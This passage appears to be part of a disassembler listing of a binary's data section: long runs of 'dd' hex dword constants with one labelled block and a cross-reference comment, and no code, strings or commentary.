5BDC2807h dd 0E9E2ACB1h, 0F32C61F4h, 9663E32Bh, 0AEB4FBACh, 111F1990h dd 81680279h, 0B17E23CDh, 0E49CF282h, 762FD350h, 63C28208h dd 93E7DBB7h, 918BB4Bh, 7DB595CAh, 97FAB7DEh, 7EF0E025h dd 987D69FBh, 9FD90AACh, 0AB44CE2Bh, 472D4EEAh, 5E8158CCh dd 0B99ECC63h, 63ABE64Fh, 0EFE153EEh, 3ED1C22Dh, 4EFE8F51h dd 1E8CBE0h, 4AD65FCAh, 968304Ch, 76A814F0h, 0E18F3182h dd 0A2857D09h, 7FCECB4h, 0FB9AE4B8h, 0F9F0EB2Eh, 808169EAh dd 60D62716h, 0A240D8E6h, 1BB7A05h, 92D4A95h, 0FC741318h dd 96BA1085h, 3256813h, 6FEF7A61h, 0C6D1AA04h, 6EE4B9F6h dd 90F2F223h, 71AB31BDh, 0F87AC6FBh, 292EE749h, 68006DF7h dd 127E3A6Bh, 0B2350558h, 0EA72A327h, 0F3DF2681h, 7A40B800h dd 3A056026h, 5F9C6125h, 9202C6Eh, 0B41F396Ch, 8B058266h dd 2592EA35h, 0A6E1D4C3h, 0FB052D96h, 4186015Dh, 606E8575h dd 4D10DDABh, 6044EE4h, 0B20172E9h, 626809DEh, 8891FA28h dd 0C7D6F7F1h, 32465FCh, 9CC89F0h, 745DABC4h, 0F1173C3Ah dd 7D5C6007h, 434A3A68h, 0FC887021h, 0C1D61230h, 44C62D14h dd 0EC05D0B0h, 20AD3013h, 707AAA1h, 591411CAh, 0A9808984h dd 5E26561h, 4264EA68h, 52506641h, 0F6DCF760h, 44F771B5h dd 3ED0E1EAh, 97882CDCh, 8C9D930Fh, 68242E76h, 947BBA09h dd 0A438664Fh, 66F304C2h, 0AAF53743h, 8BECC016h, 86D101E4h dd 6B147802h, 54C087F2h, 531A3145h, 1916BB78h, 0F4B9EAC1h dd 725CC302h, 0C0F5632Dh, 0CFF78E71h, 0A9CC255h, 0EF4933h dd 3D39455Eh, 345B21E9h, 6A5138D9h, 31021B17h, 0C55D857h dd 624F644Ch, 258207EEh, 810550E9h, 388CCF8h, 3D366499h dd 0C02EBCC3h, 657ECDBFh, 0CBF69742h, 1318CCCCh, 4737DE67h dd 0F9C3037Bh, 0F3CF2077h, 30A563FEh, 0FE64B79h, 0BC029125h dd 31E9DA29h, 4E1E7A43h, 88B105C7h, 0D4A482E2h, 944CDBB8h dd 0B2B4F083h, 0DFF40180h, 2858E588h, 98E02EEBh, 646BE7AEh dd 388B93FFh, 0D1BC53A4h, 0A49B404h, 71A0AE0Bh, 20C86BBAh dd 4F3AF251h, 0CFD446A3h, 0ADF6BF2Fh, 0A3CADD69h, 8213CDD7h dd 103BEE9h, 5B0B0846h, 0FD26B863h, 612D4C80h, 50487045h dd 432B0287h, 0C0F80144h, 81C477C1h, 8025E320h, 426C5114h dd 0BB01DF2Dh, 61E20925h, 6120D353h, 0E34B5803h, 5B7E2332h dd 0D83F9940h, 131BA295h, 80BE00DBh, 0D14EDDFCh, 0CAA122FAh dd 1313C675h, 0CD5F4168h, 87252AEDh, 25040D25h, 29AAF57Dh dd 0A7C03E99h, 4EFF69A1h, 4F8A959h, 5EF37C5Dh, 4100F6EFh dd 1C28E20Ch, 451E562Dh, 6F85AC23h, 2486C872h, 9BE2488h dd 0C3DF1BADh, 189FC002h, 68770AFAh, 40607295h, 0F27F52A5h dd 0E78FD89Fh, 0A366C86Eh, 0C61E341h, 0E57151C5h, 0B642EBC1h dd 154ED777h, 95B64A80h, 0C1DC93BDh, 8A2B9371h, 377F5091h dd 261B5ED4h, 0E509B0C5h, 40CCD1ACh, 679E2BFDh, 0D4070500h dd 6FE99861h, 878C994Eh, 3413572Dh, 5188256h, 0EE5F0785h dd 7B1C6801h, 82812FA5h, 7381A14h, 73F931E9h, 3FA410C8h dd 1890267Dh, 5D506913h, 3D90285Ah, 0F20296E6h, 7CCEEC1Dh dd 238D2C7Eh, 0DD060290h, 567EDC72h, 91E7A08h, 5A45D029h dd 0E002ED2Ch, 0E2201C18h, 480D454h, 85AB1F9Fh, 0BC8BAA54h dd 1FD0F717h, 4F46958h, 0C44B5161h, 27A5868Dh, 2DFA8739h dd 0DB6741CFh, 0FBA3C42Ah, 80415BCDh, 427E2FEBh, 857B8FA4h dd 0CA4D16E0h, 0AD7953BDh, 0E48B751h, 0C1516669h, 0C36A9728h dd 1E0C852Eh, 0C40FE15Fh, 8E9CAF9h, 6B16C524h, 3E952DEEh dd 9D51CDF0h, 0B356A3FCh, 53BD01FEh, 7F44F366h, 1C380089h dd 28318706h, 97170F0Fh, 0B18AE09h, 0A1BE560Eh, 0B32E2909h dd 7EE9C1A4h, 6B23012Ch, 87085224h, 31D82966h, 7E25102Dh dd 0E2D29CA2h, 0EF83872Fh, 0ABCE97FFh, 0DFEDE909h, 6F8211FEh dd 414AF046h, 0A4258DF6h, 56F8F741h, 0FCEB4D93h, 0C84A2771h dd 7D9D151Bh, 0C05C970Bh, 8BD07B0Ch, 67080BBFh, 485D28BDh dd 933EF44h, 0E9D6DF9Fh, 0F2BB18D2h, 0AC9DEA03h, 2CE9989Eh dd 0EB69C048h, 20BE4E5Eh, 6397D7F6h, 0D3C33115h, 1DA33C9h dd 92F8635h, 0A90B292Ah, 170C9BFFh, 43BE68FAh, 172FE9FFh dd 9BDF2D28h, 4720100Fh, 0EEF7A441h, 48BCF7AFh, 17280412h dd 0A4877A20h, 74EC90D9h, 0E230D7F8h, 1B163BDBh, 0CA0605E1h dd 0F4A68B66h, 5AF7028Eh, 995ED7F6h, 8FFEC9CFh, 5800504Ch dd 14B2CD81h, 68165503h, 0F6B3356Fh, 90398605h, 0E175853Fh dd 13E03E46h, 5DEF4060h, 2AC95648h, 0B1071BB4h, 79C1802Fh dd 79FDA6D2h, 0FA25ADE0h, 6212FF8Fh, 6EE979FAh, 810086A2h dd 0F88626F2h, 0ED2D6897h, 9232D164h, 7417AED7h, 0E98F67ADh dd 11E6A4A2h, 0C12F1176h, 67A6CE14h, 786804E3h, 960CF845h dd 0E93270AFh, 149CCC79h, 0E2272C64h, 0EA50B4Eh, 5B7AB5Ah dd 0CB8B572Dh, 24B35453h, 22E9C1D9h, 4844B261h, 0D68A081Eh dd 13BCAE82h, 11ADD46Ch, 4BBF930Fh, 0F81CAFD2h, 9AE9D5C5h dd 0BD4E3CE0h, 0F39F8E78h, 25D0ACD4h, 7AA59DE5h, 1D0518ECh dd 2F695E5Bh, 81030CE4h, 6B2A33E5h, 0A9F5B01Eh, 1B442456h dd 235401B5h, 6A09740Bh, 0FFEB6FD1h, 0B878248h, 37C66850h dd 1FDBC630h, 54125E2Dh, 0E0ABC7F4h, 0A0E91139h, 0F5C22D6Bh dd 0CEC77611h, 5BFE33CAh, 0D7EEAD09h, 45FD1A1Ah, 0E3A5B925h dd 402781D6h, 3BE7BB6Ch, 0A95CD74Eh, 0C5633304h, 0AE1AF6Eh dd 5F5B0802h, 19018E0Fh, 0EAE94CB2h, 0E7C1A8A1h, 0E0CA2002h dd 4590141Dh, 3CD3CF81h, 40300568h, 0F2FB82AAh, 0B57F18Ch dd 0B6D8601Eh, 296B0DBBh, 7CBA7A0h, 1BD06C17h, 5EBEE416h dd 4FA7AF8Bh, 0B56D35Fh, 7C5BA825h, 736805D4h, 60CAAB54h dd 7C5D294Eh, 4C34C63h, 4B332CFCh, 0AB050708h, 46FF6999h dd 0E6109879h, 92C9683Ch, 5C001D2Bh, 0A9667DF2h, 58759606h dd 68253D22h, 0CF85D70Eh, 7BC2E1E8h, 9F2D388Eh, 9F93FA70h dd 0D8B91831h, 0C51AF82Ah, 0B9441657h, 9F808E5h, 0F20E8048h dd 2B2C348h, 7C092D3Ch, 0E7DC840h, 0B8DBF680h, 3B4D73E2h dd 0E31842F3h, 28E612A8h, 74D2DD5Ch, 64AE015Ah, 4F3B0D12h dd 0ACA88A1h, 708439B9h, 0FCFA7FEFh, 7214883h, 68102EA1h dd 0C257D993h, 2F9256EEh, 0F2788359h, 4E89ECCFh, 3842EA47h dd 7F5DEE31h, 14CE7248h, 64185617h, 8B4AD30Ch, 6329008Dh dd 0D5F18147h, 67289C4Ch, 0E74EDE89h, 4F5294C6h, 552A22B5h dd 5A16FAF6h, 41811F98h, 0A4E9693Ah, 0FA5CA5AFh, 0E7BD59C8h dd 52665A05h, 0C0AEE5D1h, 405E0659h, 85577E9Fh, 816711D6h dd 0C32BFD50h, 3E7F9985h, 2E4876B2h, 2346D605h, 769BED09h dd 31266918h, 2748AD0Ch, 0D5C1F1DCh, 0F309C2BDh, 7F54AD05h dd 3316FD72h, 7FDA7095h, 680C89D6h, 72F001DEh, 0F4B97B98h dd 0B8C0BA8h, 58504282h, 8A0B4D4h, 0C8015D12h, 4FC016A4h dd 0C1F8FC0Ch, 363B02E2h, 35A9C02Eh, 0D50B4AABh, 60DFE97Ch dd 492768F1h, 0CB82A070h dd 0D4600D3Dh, 4082D7D4h, 5A295745h, 2F9DC06Ah, 1F5B8A83h dd 0E70709FDh, 9BDA1D80h, 0FD06BDFEh, 0D2A604Dh, 6C0B0F9Fh dd 19C77CB4h, 0DD7EC8FEh, 82240E22h, 0A454A5D0h, 1A89DD69h dd 0CE078377h, 0EE8705D5h, 0B8136B7Eh, 44950494h, 0D2FA5A59h dd 4A4B0270h, 3FF187F9h, 4968F40Fh, 82AC714Ch, 0CBDA57B0h dd 203B57D6h, 82B8009Ch, 50FA24Bh, 0A9030B11h, 2DD8F736h dd 17A7A9E2h, 5BD40F82h, 7EC16DC8h, 0FEB00429h, 6E7C4146h dd 0E58BEAB0h, 4A4CD01h, 68A031A8h, 45BB660Bh, 0D1F63707h dd 0B708D926h, 178E5488h, 0F5664EDEh, 12E1CFE4h, 3F8505FBh dd 0D58DD79Bh, 59A849A7h, 0D28CBFF6h, 57FDB4Dh, 21304177h dd 93ECC5h, 431F59F9h, 9702E6E9h, 68F807E6h, 6D7AFE2Dh dd 32752594h, 0F72FC179h, 34B66800h, 800B1DAAh, 47B3FA58h dd 700B8325h, 0E96E0838h, 933F4534h, 0A1B8FFEDh, 3130D6B1h dd 7FEC2EAFh, 6B1AC502h, 8AC228F1h, 0D6FFC14Bh, 0CB059C4Fh dd 89BCC2EFh, 583BE0AAh, 41C013B1h, 0F1FA3759h, 0C6548012h dd 65016424h, 290360E3h, 408EA72Fh, 2F2CEF1Fh, 0CE00AAFAh dd 68725949h, 961B7DE9h, 150BE993h, 0C52583F6h, 0B392BF69h dd 0FF6EC91Fh, 3A2CAEC9h, 220541D0h, 21672546h, 0A0D50EEAh dd 61E18A4h, 0E3D12D1Ch, 0C08D7860h, 8B015927h, 82E1DE25h dd 41E57015h, 61F2E2DDh, 69F025Bh, 22CDC105h, 3474F958h dd 7E3BA095h, 6F3DCFBh, 73A761Ah, 408A130Ch, 8B3D1E2Eh dd 0EAF1011Dh, 0EEB00C12h, 222D055Fh, 0A1477728h, 68F28507h dd 0E2F84482h, 6A6EB0C0h, 9C053574h, 295A3E4Ah, 0F1C1D15Ch dd 17B9950h, 1A41C43Bh, 0B0D41C08h, 7E5A2E0Bh, 0E95B40B7h dd 48978C68h, 0E10C2F8h, 1307E6Eh, 13A68ADFh, 0B5F382E9h dd 44617F36h, 5709F273h, 8628980h, 0D3EF1B43h, 62519AF1h dd 0E4B52753h, 5C0F0F3Eh, 0FA69202Fh, 3A5BE0E1h, 95006929h dd 1A6B3EF4h, 92CA0136h, 975080Ah, 92D7FA17h, 16485F0Ah dd 0AD062C6Eh, 0C885E933h, 0FC77D9Bh, 0F25A49EFh, 0DF67AAF3h dd 0D7224DE7h, 0AD8C80C1h dword_4F0044 dd 0D7409856h, 0AFE1E50Ch, 70EDCAB2h, 2668E9A0h, 533E004Ah ; DATA XREF: ___:004385A4o dd 9E7D8BBBh, 21401F58h, 92B9812Bh, 7B059526h, 0BC5B8CA0h dd 29BF0BE0h, 559EE870h, 5782FC2Ch, 0D8306850h, 5CC19070h dd 128131C3h, 0EDD3DF5Fh, 0B3D6C1Fh, 84A13558h, 2DE84C9Ah dd 0F703FFCCh, 0C48ED049h, 0AA122145h, 202C6E61h, 5504E936h dd 0C0673F7Dh, 6315D05h, 64E90213h, 99BA3616h, 3E993F6Bh dd 89809B61h, 0C5FE8AB5h, 8074E5D0h, 3D25617Eh, 0BDEDD3BEh dd 17AC3B98h, 2F165BF5h, 0BB11271h, 90EFCB21h, 0F6CF5AE4h dd 9D0EC058h, 566D5E60h, 0AC7A84FDh, 3181EC50h, 0C82A939Bh dd 74E3837Dh, 59B4D5BAh, 9D80D052h, 6813C766h, 91A86C59h dd 0BF37EC4h, 2068DB09h, 4D39008Ch, 0E9402AABh, 0CB9922A2h dd 0D55A17BCh, 237A49D1h, 0DD48D707h, 0EDED9282h, 0C5FDF5E5h dd 0B7EFFEF4h, 12E45D68h, 4B0B592Eh, 0D867C103h, 58D9AF6Fh dd 7DEFF2CCh, 98C3404h, 4AC7A810h, 680976CAh, 0D1B01E50h dd 0C0132CC2h, 86E52D11h, 7B21DAD6h, 30524B68h, 435BE5DFh dd 0B820A098h, 1FB23B27h, 0E9756A92h, 52C3004Dh, 895839D7h dd 77F3B5C7h, 2EC09320h, 4F352D6Dh, 729A3A30h, 79542287h dd 0EFEAB018h, 0D0902E6Ah, 0E94F5805h, 34E7F0E5h, 61FA4A7Fh dd 3B6F496Ch, 0B5A16931h, 169E4328h, 0CD20FF5Eh, 4E086131h dd 500BFC6Eh, 7140332h, 7DB534DDh, 7C585B78h, 0E750552h dd 0CE8078F7h, 4850587Dh, 77E2412h, 176BDFC9h, 0C2487266h dd 1F2D51B0h, 0D577E818h, 0B826793Ch, 0A2297616h, 5C0809E1h dd 66CBCC88h, 4928B95h, 0F4106AABh, 0B141430h, 84240FC9h dd 55891A41h, 2105854h, 3A2A3283h, 28C8E2C1h, 454C3C37h dd 0E6A1BB9h, 96CAB12Fh, 0E65974h, 25116C4Bh, 3F777C47h dd 9698BFB8h, 77253096h, 0AC68EEA1h, 758C2A01h, 753B0066h dd 47E28177h, 3E3CF94Dh, 0D951A7E9h, 0B41216E1h, 6801E32Eh dd 831D6F35h, 929D01EBh, 0F0FC2D15h, 9763CE2h, 0BB989877h dd 6CB99EB7h, 547D5680h, 0F1DDA42Bh, 3572B71Fh, 420BDF68h dd 5647BBF9h, 0D0B82EF4h, 0F609674Ch, 0E70929ACh, 135F22DDh dd 4EE657DCh, 0D04D0C0Bh, 3D51E82Dh, 74451C60h, 659AAF29h dd 9FE90C01h, 62A057E5h, 0BC486530h, 90B4F01h, 0E0295E6Ch dd 25E9C385h, 0AEF9AEBAh, 84A8E01Bh, 9359A9Ch, 30621BB8h dd 578DF004h, 0B90EE0ACh, 13EB50E0h, 9D2D6A40h, 3C220F1Eh dd 89E9E885h, 881386BDh, 10B1A36Eh, 8A106B3Bh, 0B912172Ch dd 4A5F5CC8h, 0C2A78822h, 12EE9D4Ch, 2D014A4Fh, 576E4905h dd 7800B17Fh, 3AF1706h, 6E8436B3h, 0D27AFD49h, 821074AEh dd 8BD782D5h, 27B6F795h, 1725C292h, 6CA2256h, 20FC4C34h dd 5FA3DA73h, 38268FF9h, 36F692D0h, 0A4A29524h, 0D568C1E3h dd 19F83649h, 0C48B3C5Ch, 0A8887960h, 78B35394h, 0C09C2C5Dh dd 32D8A529h, 80E4F620h, 7AC772CDh, 12C92460h, 0D58DC255h dd 0C002237Fh, 0E27125EAh, 5F0FA116h, 0CF33A84Ch, 443AC0CEh dd 4BE94E32h, 3C7FDF5h, 5079F1F7h, 7F72D9F2h, 5C8E351h dd 3591212Fh, 0A529025Eh, 8602EED9h, 60B8388Eh, 9959CE2Dh dd 0A13F1340h, 63B06AEAh, 7F1917D0h, 2B1EBFBFh, 282DCA41h dd 796459AAh, 79BB3F29h, 1A5C2A6h, 3516D2C1h, 700A7A38h dd 5A1308E9h, 7CAA8FFAh, 38114025h, 90F766EAh, 29A92BE6h dd 546717C9h, 0B8221A65h, 0DFF5E195h, 0DBB057EAh, 97776855h dd 9259182Eh, 7BBBD424h, 0C914572Eh, 0E918B560h, 40495A44h dd 531CF1E3h, 0D6C05732h, 0A15AB2A5h, 58A90905h, 73781E3Bh dd 37E90780h, 0B689E24Ah, 0F1FD913Ah, 0F97FC2B2h, 1CDFA798h dd 4BBD90F7h, 1042F31Eh, 0B540BAF8h, 0A05203A6h, 42050D1Ah dd 3E0B29FFh, 0FDFE9550h, 61255E06h, 0D67C531h, 44E16858h dd 7CD1E95Bh, 0A8B9E4D5h, 4771AF85h, 8457C1A8h, 3613BE05h dd 0E5D383A2h, 1CF76AB7h, 9480E985h, 0CBAA01BDh, 3F9416AEh dd 0FA6691A1h, 0A716A44Fh, 355EE40h, 65026DBDh, 85E24D3Eh dd 0D56909D5h, 46FF0632h, 1B5E2767h, 6809E267h, 519BF70Eh dd 9DFD435Ah, 17F51EC4h, 680520FBh, 4C9D4B20h, 8D214B95h dd 6D78E40Bh, 0D2752FE1h, 0D2F4E6BAh, 5D795DD8h, 0AE87B2DCh dd 80291456h, 70AC2FBFh, 5FD1494Eh, 0ABFC21EDh, 0B1A8B539h dd 0E6682508h, 41800676h, 40DAEFC1h, 0E5AD12BBh, 480ABC60h dd 4E98983Eh, 0F7265543h, 6BCE825Eh, 5B67F0C5h, 502DA71Bh dd 0D995ECB9h, 522C93B7h, 7D71AF80h, 0ED33196Eh, 8235D735h dd 8AC8240Ch, 31F90159h, 0D03A4811h, 4DFC5A4Fh, 3314E9B0h dd 776744Ch, 71D975A8h, 40BDACA4h, 94AEA1Eh, 48E2C47Ch dd 515C39C0h, 0D4050A27h, 0A576020Ah, 8986435Fh, 50F837F9h dd 71C85916h, 42F62CFEh, 0BE4EFA4Ah, 6B5E7E30h, 2F5201D6h dd 0E0CBEAB8h, 0E7D119A1h, 0F057CAC1h, 0B587FA78h, 5D5CB961h dd 2041FC6Bh, 6BBFF99Dh, 3186107Dh, 2CAD98D0h, 92436FE9h dd 0F97B985Eh, 0C3CFAF60h, 5B08027Fh, 0F10CB1E2h, 0CB400659h dd 33595248h, 0FEE9C94Fh, 0D5F78D35h, 0D3BEE408h, 0E45FD0CFh dd 0B68FEBh, 0D483803h, 0B4CE7BAh, 84BE4C0Ch, 0C71474DAh dd 12E30E10h, 65EECA68h, 4A8BABEBh, 5F0CE90Dh, 1AA1E0CBh dd 4A02B825h, 5F080286h, 0B7E96053h, 6A00939h, 0A0F54D5Dh dd 36BCED59h, 0AFD44F07h, 42C20600h, 0C0291E35h, 3A79F50Ch dd 9D2EE91Ch, 805A48CBh, 46685101h, 12612708h, 0C55F91D7h dd 2FCFF92Eh, 0BA0E565Fh, 891308Ah, 86550C7Fh, 45F4C1C3h dd 7A97D1FAh, 4F2C26F7h, 8802EA5Fh, 0D12FD3BBh, 3D82896h dd 7916449Bh, 4E40D129h, 7B958708h, 1DE90630h, 0C702374Dh dd 32B47E06h, 0BC38FA5Ah, 0CADF42B4h, 504228D4h, 5AA48056h dd 0B86A1C29h, 35F12064h, 785769Dh, 0F766CCEDh, 9A216F7Dh dd 20419F40h, 719D3F8Ch, 0BDE4EF7Bh, 0FD8AAAAFh, 5E5F5605h dd 75CDEB31h, 9DB62F30h, 715D2A62h, 0B58566D9h, 1EDE7E9Dh dd 79B5227Dh, 0BE56406Dh, 9D2D48A0h, 13DAD847h, 0F0B862B7h dd 0FC2568F2h, 1DEC651Ch, 0FB74ED8Bh, 7D7D6471h, 596E9904h dd 0A900B452h, 5E92751Eh, 0DBBF5741h, 4BE6B861h, 3061DF9h dd 0E0F792D1h, 4B1612EDh, 0A6E959B7h, 0D3780E27h, 2AC23CDDh dd 7F4F2E35h, 2813E0DAh, 0FD014CA1h, 5A0B4D1h, 0ED213B93h dd 49F07A8h, 95D03933h, 98681F02h, 0FAFB2E4Eh, 4E906967h dd 46BD5EB2h, 3DB9509h, 0BA965649h, 96A0A24Ah, 320D29EAh dd 0FA4A10EDh, 75A4BB02h, 0BD607998h, 2AEE3E56h, 9E764A98h dd 5F1F1620h, 0A266805Bh, 47092672h, 44106DE9h, 0C3303D8Ch dd 6B8EB419h, 6C15DCFAh, 5FF80FC5h, 7A3222BFh, 46AB5904h dd 0A3C1EB96h, 0D0F668C4h, 0FC0B7A82h, 80D66068h, 26FAEAC3h dd 4701032Dh, 295C07D3h, 9FE4AB77h, 16DB8080h, 0BB48CC01h dd 737936BAh, 0E910386Ah, 90189924h, 0F89C5B64h, 0BDC440EDh dd 0E373209h, 0A02C112Ch, 2771A5C0h, 2C1A6C29h, 995D0C05h dd 0E41B60D2h, 0B0F18DA6h, 0F1B41012h, 9CC13880h, 40A08D50h dd 689D8922h, 7354CCFEh, 3082BF1Bh, 46C1C621h, 79680080h dd 2AB13D5Fh, 541AD317h, 50073C25h, 6F723454h, 2EEEA6A1h dd 0E0812AD2h, 42CAD622h, 81B880Dh, 0FD50E905h, 0F7479692h dd 557D8046h, 4DBB5303h, 0F116E36Ah, 0FAD8CAF3h, 0A100957Eh dd 0AE443ABDh, 5AB99858h dd 0F22B68A1h, 63FACC6Ah, 413EB055h, 0C39B3082h, 2CBA5213h dd 0E2D92E89h, 73ABA93Bh, 60440405h, 0AAE29BDh, 0AFA7D4BCh dd 0A46C7981h, 8E4CEC2Eh, 0C713BBB1h, 0B95168B3h, 0CC05AC6h dd 5F10DEDh, 567901E6h, 12DC6049h, 50915429h, 1539AB6Bh dd 20BA894Fh, 56321066h, 42F324A7h, 5AC5574Dh, 0A6D0410Ah dd 54025CACh, 0D57CD257h, 24080128h, 210C2792h, 2114591Ah dd 38D95BD9h, 14FC1724h, 0FA7224FFh, 0B551DDF5h, 8A2F9DC1h dd 4756140Ch, 4397010Bh, 0FB3111D2h, 0A9D1E2F4h, 6171DAA9h dd 4E69E1DFh, 0F2020539h, 0D0C83F2Fh, 12198177h, 5C3C6F35h dd 4D500448h, 4F578A73h, 27141D76h, 8BE98F38h, 2949EF92h dd 37E67DC2h, 514C38E6h, 2CE3D51h, 68AB09EEh, 20527899h dd 594C60A2h, 0A1B1071Dh, 7FAEC980h, 2C0E3EA6h, 8AEA13D1h dd 0EF8905F5h, 0A7B8DEE9h, 5074050Eh, 0D0F73F00h, 7D036C35h dd 0E0C16FB9h, 4C19C004h, 0E0204E2Bh, 0CB40FC31h, 308414B6h dd 9F1CF4F1h, 64D6202Eh, 4866DCF0h, 0FD24A49Bh, 120820ACh dd 0BCF5E4E9h, 5753C155h, 0C88B6852h, 0C03262Fh, 3DF2CEEAh dd 0AFC7BD8Eh, 0AC7825AEh, 84D44E7Eh, 40064FC2h, 5012352h dd 39E964D6h, 0C9F04E09h, 33F659E2h, 457640D7h, 4D6D2526h dd 0E22004D4h, 71177902h, 61F101A9h, 353D9038h, 0D42D2477h dd 245C8426h, 0A208BE0Ch, 0B5A1C4Bh, 0EF0E58C7h, 4B0A524Bh dd 0A4471620h, 280F8B9Ah, 854326D5h, 77129671h, 589309C2h dd 1D1BD69h, 0A3830A4Fh, 523EC96Bh, 0C32A2D61h, 0BFB52953h dd 884BCF8Bh, 860C0548h, 0CA32080Dh, 5107A02Dh, 0FAD17288h dd 0F5584C59h, 0BB4167E1h, 0E64534E1h, 0A4C2ECC7h, 6392D7F7h dd 22966C78h, 16BEF565h, 149AEFB8h, 4D20DE4Ch, 4562599Eh dd 4FE775E7h, 7A0224A4h, 4060CD3Dh, 7339DB28h, 0B8214A2Ch dd 288915CBh, 1FBB0343h, 0E969A17Dh, 283BACE3h, 0E5BD5928h dd 0E956851Dh, 0AFBB5636h, 7861E2Dh, 55A352E9h, 307DDF4Ch dd 0D4EEE3F2h, 4C343D3Ch, 11A108Bh, 0B24D1677h, 0D4536154h dd 30614B23h, 55C29CE2h, 0E24C7DB9h, 0CF685D9Dh, 61C4A25Eh dd 29827EC5h, 0AB70DD40h, 28590881h, 9851090Ch, 0F1627D33h dd 17910808h, 7F31A1DAh, 9D682A38h, 0F15D5642h, 0CD44BDCh dd 4A98108h, 0B3503768h, 0A1A132F5h, 0FFB2A95Ch, 129DD482h dd 0C44E1BDCh, 0BD4B6BABh, 0F5806C2Eh, 0F722605Fh, 0F0E9DD5Bh dd 95296B06h, 631C0C51h, 0D2A524EAh, 0FACA0030h, 0E9036F0Fh dd 40824249h, 7A3BE1DEh, 0FB292C02h, 2D7B8222h, 84DE57C3h dd 0A93E5351h, 74FBA71Eh, 0C9905A7Fh, 799DE4CBh, 0F68107ACh dd 8B800244h, 16EECE75h, 0DDA955E9h, 5F0BECC0h, 9F68449Fh dd 0C05EAF84h, 370D05ADh, 7C782C0Fh, 0C2C41DD1h, 0AF81F52h dd 0FB189300h, 0EFC7E937h, 5E8419B9h, 0E6AE5455h, 9AACD393h dd 0CE6904B4h, 765809DBh, 0FB88C40Dh, 34E4F961h, 1C873C6Fh dd 44E72610h, 194B56CEh, 0B9683B04h, 0F2F602ADh, 0F87D2A08h dd 0D1292746h, 0AB09A3D2h, 0F0531E7Ch, 0E90780CCh, 9E81E599h dd 9A71472Dh, 79C47B16h, 796AC181h, 0B47B2EFDh, 9304F56Ah dd 21A1609Bh, 0EA8BC4h, 0E42B19C6h, 0C5BF51CBh, 0B69AA7A4h dd 73E7A75h, 5F7356F2h, 0ACC2604Ch, 7F096FA3h, 0F6CBE6E9h dd 66434230h, 171E900Ch, 0BE2E4E73h, 0C836FB18h, 40BF4C7Dh dd 58C0D439h, 50D25697h, 0BABF2176h, 31E155BEh, 0FD203B34h dd 9E4A9868h, 0C22B7233h, 73B26F68h, 84FE19C9h, 12FB9301h dd 0E760BF80h, 511B61E9h, 0EC202801h, 0A5CF54C9h, 392014F3h dd 0DE26FCAAh, 236A463h, 61F869C4h, 257E0962h, 15375000h dd 2FE94B45h, 0E4F4CA57h, 0AB27B2CAh, 88025F42h, 5C04F6B1h dd 1FF7C1EBh, 589D599h, 955FC2FAh, 1CEAE440h, 993E5B7h dd 3B7DB2DFh, 0C770D9FAh, 0B5221659h, 381E6826h, 322DFE5Bh dd 9531A530h, 16EC5254h, 69A18ACFh, 7BBF3F6Eh, 0C41529A1h dd 258581B0h, 0B97E21F9h, 8D68A451h, 145F5E13h, 4027667Ah dd 1C3565E0h, 55B26216h, 9F7C29BCh, 0F4E9FCF8h, 0F1623E6Fh dd 0B055442h, 0F0BF8701h, 7C4FE10Fh, 0AAA015Ah, 0D5E94231h dd 116D326h, 472A01C2h, 3523635Dh, 7B9A659Bh, 94E97F42h dd 4B245786h, 222C497Fh, 0D543933Bh, 0B98A7E96h, 0AB5AE884h dd 0C868603Dh, 0DD895501h, 577D1568h, 0A01ED52Eh, 0ED2DC0B5h dd 7BD7C04h, 60FD30E7h, 5A7E685Bh, 542C23BBh, 4C2F011Ch dd 9AC7884Eh, 12222630h, 94F4040h, 0F79C3117h, 0A8B82A0h dd 59082427h, 0B9516287h, 4C292683h, 49892848h, 515A07B0h dd 0FC93F1B5h, 0B612007Bh, 22EE80CDh, 7C95F028h, 8CE984EDh dd 0A5C9ACF1h, 4A3D5BFAh, 603F1A00h, 0E38172DEh, 4814752Ah dd 9300B76Bh, 0E93E993Bh, 48C0C560h, 0EC05D829h, 1642711h dd 5501017Bh, 886C4968h, 4C907430h, 8F8143F2h, 4179B133h dd 0E84289F8h, 9B27E918h, 4CB2F6F9h, 912A37Ch, 0EA8660Fh dd 3FCDF724h, 3148AA2Fh, 3D3B4D22h, 2D4B7C32h, 8851CD80h dd 0B02DE5F9h, 55129558h, 0A64DE923h, 2A9F0B92h, 88257F2h dd 0CCF5C96Dh, 505600B5h, 0C42137B8h, 0CD0BBE46h, 0C2B93BDEh dd 0CF8EDD13h, 2F3DF5C8h, 698A51D3h, 0C3019ED3h, 46614CDCh dd 0EB281E38h, 87591708h, 0C962ED1Ch, 2C4D227h, 755E18C5h dd 51555910h, 0DB5CEBCFh, 89AEA796h, 7F6521B8h, 0AE4AB6DAh dd 0DE68C320h, 0B74931Eh, 0B077F5B3h, 823301DDh, 2A6E37C1h dd 0C676A8D1h, 0CD07ABBEh, 60162860h, 64A58BF1h, 6EE1304Fh dd 27C6F280h, 0A3E9493Eh, 15DF062h, 0A86DF6D8h, 0B8F15BD3h dd 0A087E51Fh, 0E7BB3CB5h, 0AFA3D6ECh, 0F29CAFD2h, 642B27E9h dd 8D0B3352h, 1DB410h, 4EF9D24Eh, 95E978D4h, 770911C4h dd 0DC07D74Fh, 494B1278h, 8AAEC50h, 135D037Fh, 3AD93CBDh dd 18A37E1Eh, 0EE36959Fh, 7007B802h, 6E403B85h, 150026FFh dd 5CC78131h, 0C137E865h, 0E1B9E30Ch, 7D123FEEh, 92C8AD0Ch dd 62F40180h, 0E4C0CCFEh, 92108207h, 75557AE9h, 6E564E1Ah dd 22A84052h, 0F82BE116h, 94EED365h, 8B25205h, 3109AB39h dd 0F7D100C7h, 4C626BB2h, 0FB00F74Bh, 683FD105h, 0F296780Ch dd 0B206C06Ah, 3D380960h, 12DD4868h, 546C6482h, 77CD48E0h dd 1E6E270Bh, 273D7845h, 15E0ADE9h, 7B1617BFh, 64805BAAh dd 5A65B389h, 0EEBAA10Ch, 681C6F4Ch, 0F42F1524h, 344F792Fh dd 0B5EAB017h, 0C5304D02h, 5DEC0858h, 0BDA6FA71h, 2BB32F0Bh dd 0C4707692h, 27ECF819h, 0A0A9D45Bh, 52687593h, 1E007F7Ch dd 0C1080B59h, 250F03E0h, 27A32A53h, 2B45435h, 0FD4F37A9h dd 0C0E48BB8h, 0B8DBB9F0h, 0B81B125Fh, 3D030987h, 3F106175h dd 3073C9F2h, 9DBE5A70h, 5CC5C5D4h, 0C16B80FBh, 6248593Ah dd 1505712Dh, 0FD896747h, 2C58D80h, 0FB1216A5h, 4941BE31h dd 